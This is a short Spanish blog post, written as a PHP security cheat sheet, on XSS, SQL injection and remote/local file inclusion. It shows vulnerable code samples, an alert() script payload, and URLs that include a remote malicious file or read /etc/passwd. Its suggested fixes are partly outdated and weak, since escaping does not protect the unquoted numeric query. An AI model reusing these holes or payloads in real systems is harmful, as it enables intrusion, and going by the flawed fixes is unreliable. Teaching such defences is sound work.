Bueno, a modo de chuleta, os dejo mi primer artículo en este blog ^^
Veremos como evitar los bugs más conocidos en un entorno PHP.
XSS
Bien,
XSS viene del inglés
Cross-Site Scripting. Se cambió la primera letra de las siglas para poder diferenciarlas de
Cascading Style Sheets (
hojas de estilo).
Este bug consiste en incrustar código (HTML, JavaScript, VBScript, etc.) en una página web para que se ejecute, ya sea temporal (reflejado) o persistentemente (directo).
El ejemplo más simple de XSS temporal:
<?php
echo $_GET['codigo'];
?>
Si hacemos:
file.php?codigo=<script>alert('byte-inside');</script>
Nos saltará una bonita ventana de alerta.
La solución rápida:
Utilizando la función
htmlentities() nativa de PHP.
SQL injection
Este bug quizás sea uno de los más abundantes y fáciles de corregir (para su gravedad). No me voy parar a explicarlo, con
SQL injection como su nombre indica, inyectamos código SQL ejecutándolo y afectando el comportamiento final.
Veremos como parchear una inyección de código SQL en bases de datos MySQL, que ya nos proporcionan funciones para esto.
Ejemplo vulnerable:
<?php
$id = $_GET['id'];
mysql_query("SELECT titulo, autor, contenido FROM noticias WHERE id = ".$id);
?>
Solución:
Con la función
mysql_real_escape_string() hacemos que lo ingresado por el usuario no se ejecute.
RFI/LFI
Estos bugs los podemos emparejar,
Remote File Inclusion (RFI) y
Local File Inclusion (LFI), ya que los dos tratan de inclusión de archivos.
En el caso de RFI, el error está al dejar que el usuario incluya en la página archivos externos los cuales pueden ser maliciosos (por ejemplo una
webshell).
Claro ejemplo vulnerable a ambos (RFI y LFI):
<?php
include($_GET['archivo']);
?>
Haciendo algo así:
vulnerable.php?archivo=http://mihost/malicioso.txt
vulnerable.php?archivo=../../../etc/passwd
Una forma de evitarlos es hacer comprobaciones sobre la variable "archivo" en cuestión, pero si queremos dejar una lista larga, debemos buscar soluciones como esta:
<?php
$archivo = str_replace(array(':', '.', '/', '\\'), '', $_GET['archivo']);
include($archivo);
?>
Reemplazando carácteres que podrían llegar a ser "maliciosos".
Saludos lectores!